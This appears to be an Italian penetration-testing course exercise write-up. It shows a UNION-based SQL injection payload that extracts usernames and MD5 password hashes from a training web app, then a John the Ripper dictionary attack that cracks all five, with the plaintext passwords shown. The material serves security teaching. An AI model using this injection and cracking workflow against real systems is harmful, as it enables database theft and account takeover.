

ESERCIZIO W14D1

Obiettivo dai piani alti:

- Recuperate le password dal DB come visto, e provate ad eseguire delle sessioni di cracking sulla password per recuperare la loro versione in chiaro.
- Sentitevi liberi di utilizzare qualsiasi dei tool visti nella lezione teorica. L'obiettivo dell'esercizio di oggi è craccare tutte le password trovate precedentemente.

SQL injection: cattura password in hash MD5

User ID:

ID: 1' UNION SELECT user, password from users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Union based injection

Tipologia di Cracking

Il metodo che utilizzeremo sarà un attacco a dizionario. Raccoglieremo le password trovate all'interno di un file.txt per decifrarne il raw hash. Lo strumento che ci aiuterà in questa task sarà John the Ripper.

Nell'immagine sottostante apparirà il codice inserito su terminale ed i relativi risultati.

```
(kali㉿kali)-[~/Documents]
└─$ sudo john --format=Raw-MD5 --show /home/kali/Documents/hash.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password

5 password hashes cracked, 0 left
```

Cracked
passwords